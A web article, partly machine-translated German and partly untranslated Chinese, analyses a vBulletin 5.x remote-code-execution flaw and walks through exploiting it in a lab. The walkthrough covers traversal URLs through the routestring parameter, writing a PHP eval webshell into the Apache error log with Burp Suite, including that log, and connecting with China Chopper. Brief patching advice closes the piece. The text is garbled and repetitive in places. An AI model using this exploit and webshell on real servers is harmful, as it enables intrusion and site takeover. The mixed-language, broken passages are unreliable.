Es gibt ein Problem beim Einbinden von Dateien in vBulletin, das es böswilligen Besuchern ermöglicht, Dateien vom vBulletin-Server einzubinden und beliebigen PHP-Code auszuführen. Ein nicht verifizierter böswilliger Besucher kann eine Sicherheitslücke bei der Dateieinbindung auslösen, indem er eine GET-Anfrage mit dem Parameter „routestring=“ an index.php sendet, was letztlich zu einer Sicherheitslücke bezüglich der Remotecodeausführung führt. Prinzip der Sicherheitslücke: Die Seite index.php sendet eine GET-Anfrage Bei Verwendung des Routestring-Parameters zum Einschließen lokaler Dateien werden schichtweise Funktionsfunktionen aufgerufen, um den Routestring-Wert zu filtern. Schauen wir uns den Hauptverarbeitungscode an.
/includes/vb5/frontend/routing.php
. if (strlen($path) > 2 ) { $ext = strtolower(substr($path, -4)) ; if(($ext == '.gif') OR ($ext == '.png')OR($ext == '.jpg') OR ($ext == '.css') OR (strtolower(substr($path,-3)) == '.js')) { header("HTTP/1.0 404 Not Found"); die(''); } }
routestring
erhaltene Wert das Format hat .gif code>, <code>.png
, .jpg
, .css
oder .js
unter Wenn ja, werden am Ende die Header-Informationen zurückgegeben. 404
if (strpos($path, '/') === false) { $this->controller = 'relay'; $this->action = 'legacy'; $this->template = ''; $this->arguments = array($path); $this->queryParameters = array(); return; }
strpos()
in diesem Code gibt die Position zurück, an der das Zeichen /
zum ersten Mal in $ erscheint path
. Wenn es zurückgibt, wird die Verarbeitung nur fortgesetzt, wenn die Informationen false
sind, was bedeutet, dass /
nicht im Pfad erscheinen kann. /includes/vb5/frontend/routing.php
文件
http://172.16.12.2/vb5/index.php<?php @eval($_POST[c]);?>
这段代码判断routestring
获取的值是否以.gif
, .png
, .jpg
, .css
or .js
结尾,如果是则头部信息返回404
http://172.16.12.2/vb5/index.php?routestring=\..\..\..\..\..\..\phpstudy\apache\logs\error.log
这段代码中strpos()
函数返回/
字符在$path
中第一次出现的位置,若返回信息为false
才会继续处理,也就是说路径中不能出现/
Bei Linux-Servern stellt / bei der Verarbeitung von URLs das Trennzeichen und den Indikator der Verzeichnisebene dar, sodass andere Dateien auf der Website nicht in Form mehrerer ../ eingebunden werden können. Bei Windows-Servern sind / und beim Ausdrücken von Pfaden jedoch gleichwertig, das Programm verarbeitet sie jedoch nicht, was zu dieser Sicherheitsanfälligkeit bezüglich der Dateieinbindung bei Windows-Servern führt.
Versionsnummer vBulletin v5.x-Version Der Schwachstellenentdecker hat den Hersteller kontaktiert, aber noch keine Antwort erhalten
3. Im nächsten praktischen Teil werden wir die Schwachstelle schrittweise vertiefen Verständnis und Verständnis der Sicherheitsanfälligkeit: Verwenden Sie zunächst die Seite, um einen Fehler zu melden, um serverbezogene Informationen abzurufen, und führen Sie dann phpinfo() aus, um die Codeausführung zu überprüfen, und schließen Sie schließlich die Website-Protokolldatei ein mit einem darin geschriebenen PHP-Satz, um Website-Verwaltungsberechtigungen zu erhalten.
2. Besuchen Sie die Schwachstellenseite und sehen Sie sich die Fehlermeldung
Öffnen Sie 172.16.12.2/vb5/index.php?routestring=.\ an Browser, die Fehlermeldung lautet wie folgt:
Sie können die Seite sehen. Wenn require_once() verwendet wird, um den aktuellen Pfad (C:phpstudyWWWvb5/core/.\) einzuschließen, ist dies nicht zulässig und es wird ein Fehler gemeldet. Die Fehlermeldung gibt den absoluten Pfad der Website und der Website-Erstellungssoftware preis: phpstudy
phpstudy Beim Erstellen einer Website werden standardmäßig die Dateien l.php und phpinfo.php auf der Website gespeichert löscht oder ändert diese beiden Dateien, da sie auch die Bedeutung von Escape haben und \ und beim Ausdrücken von Pfaden gleichwertig sind. Daher verwenden wir \, um zu verhindern, dass sie Escape sind (dieses Experiment kann auch abgeschlossen werden)
3 Greifen Sie auf die zu phpinfo.txt-Datei
Um zu überprüfen, ob die Sicherheitslücke enthalten ist, befindet sich im Stammverzeichnis der Website eine phpinfo.txt-Datei mit dem Inhalt von , auf die wir zugreifen möchten die Datei direkt, http://172.16.12.2/phpinfo.txt
Die Website zeigt direkt den Textinhalt an
4. Fügen Sie die Datei phpinfo.txt ein
Wir versuchen dann, die Datei einzubinden, öffnen Sie die erstellte Datei linkhttp://172.16.12.2/vb5/index.php?routestring=\..\..\..\..\..\..\phpstudy\WWW\phpinfo.txt
Hier kennen wir bereits den absoluten Pfad der Website auf dem Server, daher verwenden wir mehrere ..\ plus den Dateipfad, um den Website-Pfad der eingebundenen Datei anzugeben. Nach dem Einbinden der Datei behandelt der Server die Datei als PHP-Datei. Beim Parsen wurde die Funktion phpinfo() ausgeführt.
phpinfo(): In PHP integrierte Funktion, die die Konfigurationsinformationen des PHP-Servers ausgibt Um eine Schadcodedatei hochzuladen, suchen Sie dann den Pfad der hochgeladenen Datei, erstellen Sie die URL und führen Sie Schadcode aus, indem Sie die Schwachstelle eindämmen. Diese Methode funktioniert jedoch nicht, wenn auf der Website selbst kein Upload-Punkt verfügbar ist oder wenn Einschränkungen für die hochgeladenen Dateien bestehen, sodass wir den Pfad der Dateien nicht kennen können, oder wenn die bei der Eingabe erhaltenen Parameter gefiltert werden.
Wie oben zu sehen ist, unterliegt das Programm Einschränkungen hinsichtlich der enthaltenen Dateisuffixe. Wenn es keine andere Verwendung gibt, können wir die auf der Website selbst vorhandenen Dateien einbeziehen, was in diesem Experiment der Fall ist : einschließlich Website-Protokolldateien本次包含的是Apache的错误访问日志(error.log),这个日志文件在phpstudy中的路径为: \phpstudy\apache\logs\error.log。
1.将一句话写入日志记录
首先,我们构造一个会报错的访问链接,将利用代码(PHP一句话)写入错误日志记录中。
http://172.16.12.2/vb5/index.php<?php @eval($_POST[c]);?>
这个链接直接访问的话,一句话会被编码成%3C?php%20@eval($_POST[c]);?%3E
,所以需要使用Burp suite
改一下包。
使用Everything搜索BurpLoader.jar,双击打开工具Burp suite。
配置浏览器的代理设置:
打开桌面的chrome浏览器,访问chrome://settings或者点击浏览器右侧的自定义按钮--》设置,进入设置界面
点击下方的显示高级设置,找到更改代理服务器设置按钮并打开,在弹出的设置中选择局域网设置
具体配置如下图,修改后确定
配置完代理后,在浏览器中访问上述构造的链接,Burpsuite接受到数据包会自动截获,打开Burpsuite--》proxy--》Intercept,在下方文本框中,右击并选择Send to Repeater,随后点击Repeter功能按钮,对所截获的包进行修改。
我们将被编码的链接改回编码之前的状态,修改后的内容如下:
点击 Go按钮发送,返回403报错,服务器错误日志文件成功将此次记录到error.log中
我们已经成功的将利用代码写入日志中了
注意利用代码的正确性,如果写入错误的代码可能会导致后续包含时,代码不能成功执行
现在,将Burpsuite关闭,并按照上述设置浏览器代理的方法关闭代理
2.构造Webshell连接地址
们根据日志的路径构造访问路径:
http://172.16.12.2/vb5/index.php?routestring=\\..\\..\\..\\..\\..\\..\\phpstudy\\apache\\logs\\error.log
客户端连接一句话
接下来就使用中国菜刀连接我们的一句话,使用Everything搜索并打开chopper,右击,选择添加,在地址栏内填入我们构造好的链接,右侧写入密码c,类型选择 PHP(Eval),然后点击添加。
双击链接,连接成功(此处如果连接不上请检查写入的代码是否正确,代理是否关闭)
包含日志文件需要确定的服务器日志路径,通常管理员会修改相关配置,而且写入代码时需要注意严格的格式和编码,所以这种方法不作为优选利用方法,但是在没有其他利用点的情况下,也是可以尝试的
(1) 等待官方发布补丁,个人用户建议采用可替代的相关产品
(2) 企业用户可修改网站源代码,增加\字符的过滤处理
(3) 网站管理人员可以修改服务器本身敏感信息文件位置,避免漏洞的进一步利用
Das obige ist der detaillierte Inhalt vonBeispielanalyse einer Sicherheitslücke bezüglich Remotecodeausführung in der vBulletin5.x-Version. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!